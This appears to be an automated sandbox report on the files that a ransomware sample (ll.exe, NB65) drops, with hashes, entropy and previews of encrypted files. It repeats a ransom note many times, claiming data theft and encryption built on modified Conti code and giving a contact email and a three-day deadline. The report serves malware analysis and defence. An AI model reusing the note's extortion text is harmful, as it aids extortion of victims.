Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\jDownloader\config\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\jDownloader\config\database.script

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):790
Entropy (8bit):7.715036419231633
Encrypted:false
SSDEEP:
MD5:748126F8886EA9C47CAF537AFB8ADCDC
SHA1:800C10009214FA4D06CD286A4B9378954097A16A
SHA-256:999F20C3D6AB715238E52E01CACE82E682A5A55FB5C57F4FC08C730AB2749CE3
SHA-512:C6F26ECE3A111826BFAA7D50ABD8E3C3FE99F2A80A043C1EFAFB7D5469CC987BD3124F0698995A306AA0F6999002E98E602B41EE1CAB32F89040D473888031AA
Malicious:false
Preview:....MM2.z^t0..@.Vm.[..:..m..V.f.l..^...}......p......x..`5...i...y#... .K.....B...r....."m..]..=3.../}l2.....0..t....i.M.R`.......d.......Xj.%.....<.<.m.Dy.;?..q.gt.?I.WU...K.0.....1...T..W.8R.%..B.V....P.O.'.H#..O....Y*.{R.9|,.....Vt...eek.7#..".......|8..\3.}.b5n<../.]!y.......p..r..?..j.$..[^P..bZ.=*rR.9JL.+.Q.o.p...M.R..mT.-vK,..Qf../......F..c.N.O(..O.k...w..h{..Pm..fe.....u..o..090r..\..m.>.?n............Q1....p4w.-.6.1Z.LP....0.~.....-Tc...w....W..{.i.Z..m....@....R.R.t...S%.&e;...6#z./..I..1.5........pm...X....h...R.U.w...-....af..[[...0..MpT...y,x.@.J.u.T....$8j.Y>..m.Up.:.KX.F''F!/.....{%(.(..&.]j....rC....mT.._..=A9[.8....Di..<..7.4.[../....k.O..+W....TI.._q.....gu.5.Z.H.(N...xU.".....[.,.V5.N)={.L.....r>..b............$.........

C:\Program Files (x86)\java\jre1.8.0_211\COPYRIGHT.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3778
Entropy (8bit):7.953462639289825
Encrypted:false
SSDEEP:
MD5:4A7CCEC4F61EA486D75A11CDE1E6D538
SHA1:48EB43ED68946197B68E97997E0D68F04AA7497F
SHA-256:1C175379FE75B408AABBE575F534661D9DC1D59D23DA4DB0AAA3B9307529BAF7
SHA-512:432E27558E8FAAA9B153B2B7718BEE3CB0F512DA37F3D5B4021D6CD47F91871F6BFC7879C6E5A6CB40FF045A837ED3E1CD856195583B5C8BD82514B2045DD891
Malicious:false
Preview:..I.c....K.a...z[)......a}..X.q.....B......#U......R..4..0".....yd,............0}.*..d.v.}...8.H.<.Y.h...g..D.._......e.)+c.!...O.{.W.4Y.CG]...AZ/.1_-..%.]<.z....D.....i.w.b&....@-+.^`..~4.d.lvzi..S.6-v5..|........7.;.0.x.._.?.9..M..hBI.az....,q.8....VU.q#.".87K......;...1.'Y_cUA..kY...i...l../q...Dx.o...zp..a.Io.!.j........-..{.?.W...nT..>9...w..8.Dl<.T#..R8.......CY..1.\.b." 3..Ho`P=..Z|...r..].B..w....@)?..O.o...OfF.|.%..\....7(.).U..Io.._x..=....].\.p..}....[....".;o6p.GM..N_.#..H.P.!7.G.r.......Ka.eE..d.>_.3+...I.4...x.u..[..[u.T..]....P.fj...u.......*,.....u..S&.1%../.T.E;.~.. .(D7:&V..$z_.i.Q.....Fl...d.F/...K...../....oV`f...*..=..L.....c.....K.WPo...<.n.+Lr.50.z.....A...}...o....B.x.s..`..6.E...I.x..x=......9......).9.......$..j...W..3f.>..$l.:%...`!-......^x..g.H..e.:.6..]..T.=G=..o..u.,..4..Y...s...1n.l1r..r.H.~XA....*..E.5G!.aI...3~^..ii.....=.+3.Hm...X4.I.|.......nfS.......\d...1..x..$...ng...Df....+U..-f.d..#....)8..V.@..e..A

C:\Program Files (x86)\java\jre1.8.0_211\LICENSE.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):578
Entropy (8bit):7.603681485058062
Encrypted:false
SSDEEP:
MD5:2EACE9F870EA192C75650836A8BAC2DA
SHA1:605F0376ED248788EE4B446C49CD29E7DF52C8D9
SHA-256:85A41123062224236B3BFFCF4D509154E9A4C2CAED12A6795B8E573E8DDC6AE8
SHA-512:D1D8EE8FB423C88D06C19443A6B245E3E0F1E48F285DEA13B603F96346ADFD762D1CEAF3C8C01D41425AD9E21640A3A5ECD8FF136A39174F38CF9CC884B62A3A
Malicious:false
Preview::.2..{..X..h....Y..+....qx|..U.q.8[.]../..n..O..7.3K.d..CY.L...X.}....s..~.F>.T.P......_.{_........N[S.tt..j5..G.vr......i....K.E:....<N.5U,......)...Y.T...U.+.b.ZF..39..>K.4S...@C......e&.Wv;...g....,Og.......K.[v..!..vP.|t.+.461.[[....d..m.Ly...S..^...N.{i.S.....bJ.v.j..$.#v-...w.....`..c.....I.-)[...X...:[S#y.....M@.#.HV.....R..VoZ.:.~.......].:..A^.......2sk....<.#.O|....3.M.D..@....Q..:23.h..2........%f...k.7.\...=.tz,...].s\..6Jz..0.z0#5O.z._.`.....v.u..s..$..?7!..*....B...>.p...*"../.;.0.....d...!...Xe.J.2..._WN..................$.,.......

C:\Program Files (x86)\java\jre1.8.0_211\README.txt.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:DOS executable (COM, 0x8C-variant)
Category:dropped
Size (bytes):580
Entropy (8bit):7.590322983075512
Encrypted:false
SSDEEP:
MD5:65BCE5E4136A5C5CC06F33D6E35C5939
SHA1:860C047BFA9EA6CE1E0FD5C71F03344EE0DC54AB
SHA-256:16618E07DEB2C7C0545CD4313FB8591E830F07014FA05B0A1158CC79ED6890E2
SHA-512:A0B127987AB711098D5BA9B01BFADB942B6E2512710D0E0012AD0BC517093AC4BAADE26385A7ABB454E4BDFA711EA9B92C7318CF55907A3778F729F238EE9F54
Malicious:false
Preview:.]...?p..cE!.&.....".f...` .8m...m`-,....fh..`.B.............g"|.P.QB..fNx=..k"t.|.n.5....iG.~.U........B..Z....x<....b'....s.1S.S.....K(#wDn.....8.6L.YM.C..f0,P..L....*..Euf.qR...;{..h..P./....fSCT.....<....[.2...@.*#...1....@bB......B..j....l?.m..*&...F..$....C.*.y.I7..9.`.Z..J.5.s..wj.W..$.H...Su..P.E^5.b>..p0....me}...u.dss....H. $=&.T.95.....6.+.q.U..F... l..{_..JZyhQ..j.B..6.........B..)..i..t.>.M..7....%....qEU...P..V(.......G..8wdHw.]h..W%...f.;....u..!.E7C.?|...#..N.ym].....s<.^.6l...[...N....&.6.L..p...`s.F-.............$.........

C:\Program Files (x86)\java\jre1.8.0_211\THIRDPARTYLICENSEREADME-JAVAFX.txt.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):113282
Entropy (8bit):7.998275916058112
Encrypted:true
SSDEEP:
MD5:18B1790BF25569059AA9BFCA93608B38
SHA1:D22E79FF34CCF1CD488F01194BDC7921D685E0C5
SHA-256:F23DB603969F27E33E37780DD062786B6BA434D4F83D27F9B89BE2AD43775D05
SHA-512:8B7D9C3A00064EBF9689F09004F865917CCEE3394F5EB2A25BB44DC48D2B8F277BA5000412E234E3183B04482057BB46A6143794DD73D6E55953A5B33195CDC4
Malicious:true
Preview:.K.. .n+.O...{...n/*.Wn..X8$jBaY....+...i.e0.{...%.%.?..M>.S..\&.S#.!T#N.}z.^.hC.<......x.4....e2..bj.....q...e...+........5....X8...{V....FjyAW....JA.....).F.= .zp..l..a=......R9.O...tP.z.Ph]D.1d..B........GL..W....K...{.Y........6.....?.s3..N$.M.$.ph.K.vO...F...6.U..X6.].W..w._W..u..d...~. ..*>+..7....d......|.<k.....>........w...?7M...3..o_$......N\............c...y.9...l.@e.......V..Bu.%A...:.......H.#...........Y.7wn6'1.4. ....";.T.........'Rg .[...B..r@X..!.P!.g.}..+c.YP.._#.]..{....u\Q......'Jt..J5~.>...V...8..g-.....l...#..........:o..*..p....Y.xK.r..(Dz..]..#..R.e........".z.`y..C.>...}.....,...&.jr..s...t}L .1. Q..(.....kN...k...r.c.....3..1q.....q.....@.@..LQI'.].~?.....9.D......#.X}...."..f.m{[.d.2n[. .......u.d..#.;....bi0L..p..L.*<X....v.O+....?2..*...[D.E.fh....p..\&..)PC.U......d...X....!.5.{:...y..v..p.:+.n.S...r.i..q.....".gS-.g..k.........G.HE..h./.A]c.T[_....a.u.G...X........6".....m..........k.N.WT'x..

C:\Program Files (x86)\java\jre1.8.0_211\release.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):959
Entropy (8bit):7.755364797184568
Encrypted:false
SSDEEP:
MD5:86574DEAC5DE4EF50F40922830B78466
SHA1:1B8D0A736E584991DC4A20264616007BA1377AB0
SHA-256:FEFFA81EEF70E419F4CE1CF4CFDFA1FF4A608940D19F46085A3B811FAAC8695E
SHA-512:552CB881A0E07AC1A68FB785D5082916C9B988D63A0512848BC2A0F3D5D7E68154455FB759C86C8AEF9DC19D6B3C88A9809930F3DF6E4A485C2104F33ED08C0B
Malicious:false
Preview:..8.=..1..$./P.h.k}..c.9._...c=.i.u.)5..r.`\J...l...v.........*L...#..M./..y.8=.....\..3..&V).f3t.O<.d....6_h.o.iP:..k.`.R.3.n..[....DV>..T.Z.........8b'.5%...q_......\.......g-t'.'5..U.F..........X...!EB...q.~..P.hF..{...N..3.l......T..d...".k#1..$G'r=.w....x.p...5.' $.Jq.9.]$....~z..)u.>C!...e..r......K.....<5..V....7....I.O..q...]I,^x*..:rH=.l.?y.B*q..0SB.}.Y...?.."...b..k..0..8...>s.=i....O.T"..f0Ua.p<.n..6...{.v.5I.;..u*.....!;....$..{...j]...E....:..}Z.....J.. .iYE~........Dd..9R...1X.yT........msy$.(l.."..B...&.]..7..=(o)..&..C...`8k].."..I.U....].z.k..c..m{....V.O......,...<...;g._."r.o.9.+.v.N.<.u[...[....."..c...Hv.~.y....4..^.{q...I...EgOX.&S^.E....A.c..@.*.....8,%.8....G..}....E.!7..m.-....5.o.!.....JLP..T.....<.q...i.l ..-..0.*..x......... .7.....g.#g&x....<..9.X.?....L.f..}...?.....N.L.m{k.T........F.7{FP..&...,...0....3.......=..D..+si.U.. U..UyM..8........C............$.........

C:\Program Files\Common Files\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\Common Files\Services\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\Common Files\microsoft shared\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\Common Files\system\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\Google\Chrome\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\Google\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\MSBuild\Microsoft\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\MSBuild\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\Microsoft Office\Office16\Custom.propdesc

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1877
Entropy (8bit):7.877082547017916
Encrypted:false
SSDEEP:
MD5:2298BE6E6464B8CE9D8283A06183ED90
SHA1:55FDC7BAA11938B6098B8C0B6797E937380CC7E5
SHA-256:9B385EFE3DFB6DA902138D9A42BDD02811C83155C01EF4E28B003B5C46522354
SHA-512:65210FEB3264E566767AFBF495C3AE202CE72F60138B121A1604E9B4299CA8F5BCA7608ADEEA15177A15EC26B69F9E562D756D1F629F85E5367067881D8C8A85
Malicious:false
Preview:..t.3G8.......4....C/.\.......C.%..{G...g.i.........w..D$R..!....M....<.Y6..pJ...)).....1........y....u`\,.nF#....o.MW...~.\|z.m..&$.uW..jy..........`..+K..._..MFh..Q...u.{...*.|k...n.7E.4.'.^...g....}.,..m.De..;3...+....#7O;...m)..8:M.5...`m. ..@|.[ ...s...:...B_..,.A.J.Cy.Q.N@...b.:0.$+....H.-.g...so.....&.#..J....B....k..p.P.$?...Q...Af..J.FS....(.$.F{.j..<V$..05.x...k.t..0..hi...B.LWRv......l.YN.6...kN......./q..+...<t.$%j...6.....k_.V5j.z.n.k.iu...e...Y...*S..M.3...|Hx..S.^K+:*...l.S..x.....!w...x>..a..`..<x....A.....{E=.#..h/..Z....1N..=E..J.....@.v.&.Z.]..%.l..e...x..{@....W....C.0.CI..>...8!......#.BF9]...'......i...)K....E.r....n...6>#n..#.......u>.!X[.}f..F:\..JP/.W.9b...,.K4.w.(....Li...S|v.h..<x'~.!R....S..Q=i...1$..Z..64.[.........{....H.,p...E....W........$L.....I..@..4.e.qT..\.....}.,.-.Kh...d+...._..[5.n#Lwaj.o.......o..U.{{.u..a......f./..Q6...6U..Q#.a'.,.ms..;........@n....v"..:..@..j...E.....2q....&.8iRM@....%9.&...x.

C:\Program Files\Microsoft Office\Office16\Custom.propdesc.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1877
Entropy (8bit):7.877082547017916
Encrypted:false
SSDEEP:
MD5:2298BE6E6464B8CE9D8283A06183ED90
SHA1:55FDC7BAA11938B6098B8C0B6797E937380CC7E5
SHA-256:9B385EFE3DFB6DA902138D9A42BDD02811C83155C01EF4E28B003B5C46522354
SHA-512:65210FEB3264E566767AFBF495C3AE202CE72F60138B121A1604E9B4299CA8F5BCA7608ADEEA15177A15EC26B69F9E562D756D1F629F85E5367067881D8C8A85
Malicious:false
Preview:..t.3G8.......4....C/.\.......C.%..{G...g.i.........w..D$R..!....M....<.Y6..pJ...)).....1........y....u`\,.nF#....o.MW...~.\|z.m..&$.uW..jy..........`..+K..._..MFh..Q...u.{...*.|k...n.7E.4.'.^...g....}.,..m.De..;3...+....#7O;...m)..8:M.5...`m. ..@|.[ ...s...:...B_..,.A.J.Cy.Q.N@...b.:0.$+....H.-.g...so.....&.#..J....B....k..p.P.$?...Q...Af..J.FS....(.$.F{.j..<V$..05.x...k.t..0..hi...B.LWRv......l.YN.6...kN......./q..+...<t.$%j...6.....k_.V5j.z.n.k.iu...e...Y...*S..M.3...|Hx..S.^K+:*...l.S..x.....!w...x>..a..`..<x....A.....{E=.#..h/..Z....1N..=E..J.....@.v.&.Z.]..%.l..e...x..{@....W....C.0.CI..>...8!......#.BF9]...'......i...)K....E.r....n...6>#n..#.......u>.!X[.}f..F:\..JP/.W.9b...,.K4.w.(....Li...S|v.h..<x'~.!R....S..Q=i...1$..Z..64.[.........{....H.,p...E....W........$L.....I..@..4.e.qT..\.....}.,.-.Kh...d+...._..[5.n#Lwaj.o.......o..U.{{.u..a......f./..Q6...6U..Q#.a'.,.ms..;........@n....v"..:..@..j...E.....2q....&.8iRM@....%9.&...x.

C:\Program Files\Microsoft Office\Office16\Mso Example Setup File A.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):612
Entropy (8bit):7.580448615877254
Encrypted:false
SSDEEP:
MD5:C5262039A17E50DFA990E013B0A4975D
SHA1:21F44FFDE9A6AE7899ACC1CCD7A383EE846C122E
SHA-256:F176F53FB7FD26A2A2B4DD37BE7673AAD7BE3FF93648E73682376290F0770386
SHA-512:410E0D53642C2C5B03F213AE22F1EF75F827B48EFD1159D01A2902A2366117A40EEC5F11392CE7991547B78C54561A13DE78B326117A6F4741AC3C7DF38CEC73
Malicious:false
Preview:.V..S6..3.,.IR.D.*..u.l4S.Dr..O..3....,..Sz].LQ...8.......Z.............w.F^"...`.R.l~M...._.^..,\..|......J...N.x.`4.+Q..%o....>M.W.K...]+..S6.W..B.7..J.e.}...t.Q....bon..#Y..d.w......t....-.o..Cr".WH..!.2.v......J.....>)X.Z)..b.-.,...d8....e.s....T..m5M.....(.d7k..........\...`.....)c$%.s.a3..#....L\Z.e..:.,..}...`._X..._...DOa.H.v.p(.......Hcc...|..*.+.I.hw`..6.q>^.ZS.<{.K.X.....v...:...u......~m..wKO...,.3~..2b.h.2:..#C.....}..K.5....l.F.5+..}.g..gx....Y.Q..gM.@.g.(CkN....3..I...^.8.a...&d,<.q.....H..5....o.ls...{.....i...R.!D...Nq..x..V.8.R:..._..#............$.N.......

C:\Program Files\Microsoft Office\Office16\Mso Example Setup File A.txt.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):612
Entropy (8bit):7.580448615877254
Encrypted:false
SSDEEP:
MD5:C5262039A17E50DFA990E013B0A4975D
SHA1:21F44FFDE9A6AE7899ACC1CCD7A383EE846C122E
SHA-256:F176F53FB7FD26A2A2B4DD37BE7673AAD7BE3FF93648E73682376290F0770386
SHA-512:410E0D53642C2C5B03F213AE22F1EF75F827B48EFD1159D01A2902A2366117A40EEC5F11392CE7991547B78C54561A13DE78B326117A6F4741AC3C7DF38CEC73
Malicious:false
